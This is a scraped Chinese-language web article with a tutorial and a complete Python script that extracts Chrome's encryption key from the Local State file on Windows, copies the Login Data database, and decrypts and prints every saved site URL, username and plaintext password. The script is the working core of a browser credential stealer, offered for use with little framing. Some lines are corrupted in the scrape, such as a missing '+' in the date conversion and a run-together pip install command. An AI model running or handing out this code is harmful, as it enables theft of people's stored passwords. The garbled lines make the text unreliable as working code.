tft每日頭條

 > 生活

 > python連接谷歌浏覽器代碼

python連接谷歌浏覽器代碼

生活 更新时间:2025-02-07 12:10:04

谷歌浏覽器會将浏覽數據保存在本地磁盤,我們将編寫 Python 代碼來提取 Windows 計算機上 Chrome 中保存的密碼,開始寫程序前請安裝所需要庫:

pipinstallpycryptodomepypiwin32

程序運行截圖:

python連接谷歌浏覽器代碼(使用Python提取谷歌浏覽器儲存的密碼)1

1、get_chrome_datetime()函數負責将 chrome 日期格式轉換為人類可讀的日期時間格式。

2、get_encryption_key()函數提取并解碼用于加密密碼的AES密鑰,這"%USERPROFILE%\AppData\Local\Google\Chrome\User Data\Local State"作為 JSON 文件存儲在路徑中

3、decrypt_password() 将加密密碼和 AES 密鑰作為參數,并返回密碼的解密版本

首先,我們使用之前定義的get_encryption_key()函數獲取加密密鑰,然後我們将 sqlite 數據庫(位于"%USERPROFILE%\AppData\Local\Google\Chrome\User Data\default\Login Data"保存密碼的位置)複制到當前目錄并連接到它,這是因為原始數據庫文件将被鎖定Chrome 當前正在運行。

之後,我們對登錄表進行選擇查詢并遍曆所有登錄行,我們還解密每個密碼date_created并将date_last_used日期時間重新格式化為更易于閱讀的格式。

最後,我們打印憑據并從當前目錄中删除數據庫副本。

讓我們調用主函數,完美提取Chrome浏覽器保存的密碼:

完整程序代碼

import os import json import base64 import sqlite3 import win32crypt from Crypto.Cipher import AES import shutil from datetime import datetime, timedelta def get_chrome_datetime(chromedate): """從chrome格式的datetime返回一個`datetime.datetime`對象 因為'chromedate'的格式是1601年1月以來的微秒數""" return datetime(1601, 1, 1) timedelta(microseconds=chromedate) def get_encryption_key(): local_state_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Google", "Chrome", "User Data", "Local State") with open(local_state_path, "r", encoding="utf-8") as f: local_state = f.read() local_state = json.loads(local_state) key = base64.b64decode(local_state["os_crypt"]["encrypted_key"]) key = key[5:] return win32crypt.CryptUnprotectData(key, None, None, None, 0)[1] def decrypt_password(password, key): try: iv = password[3:15] password = password[15:] cipher = AES.new(key, AES.MODE_GCM, iv) return cipher.decrypt(password)[:-16].decode() except: try: return str(win32crypt.CryptUnprotectData(password, None, None, None, 0)[1]) except: # not supported return "" def main(): key = get_encryption_key() db_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Google", "Chrome", "User Data", "default", "Login Data") filename = "ChromeData.db" shutil.copyfile(db_path, filename) db = sqlite3.connect(filename) cursor = db.cursor() cursor.execute( "select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins order by date_created") # iterate over all rows for row in cursor.fetchall(): origin_url = row[0] action_url = row[1] username = row[2] password = decrypt_password(row[3], key) date_created = row[4] date_last_used = row[5] if username or password: print(f"Origin URL: {origin_url}") print(f"Action URL: {action_url}") print(f"Username: {username}") print(f"Password: {password}") else: continue if date_created != 86400000000 and date_created: print(f"Creation date: {str(get_chrome_datetime(date_created))}") if date_last_used != 86400000000 and date_last_used: print(f"Last Used: {str(get_chrome_datetime(date_last_used))}") print("=" * 50) cursor.close() db.close() try: # try to remove the copied db file os.remove(filename) except: pass if __name__ == "__main__": main()

更多爬蟲、數據分析、全棧開發、人工智能學習私信@Python阿執回複關鍵詞【資料】,

更多精彩资讯请关注tft每日頭條,我们将持续为您更新最新资讯!

查看全部

相关生活资讯推荐

热门生活资讯推荐

网友关注

Copyright 2023-2025 - www.tftnews.com All Rights Reserved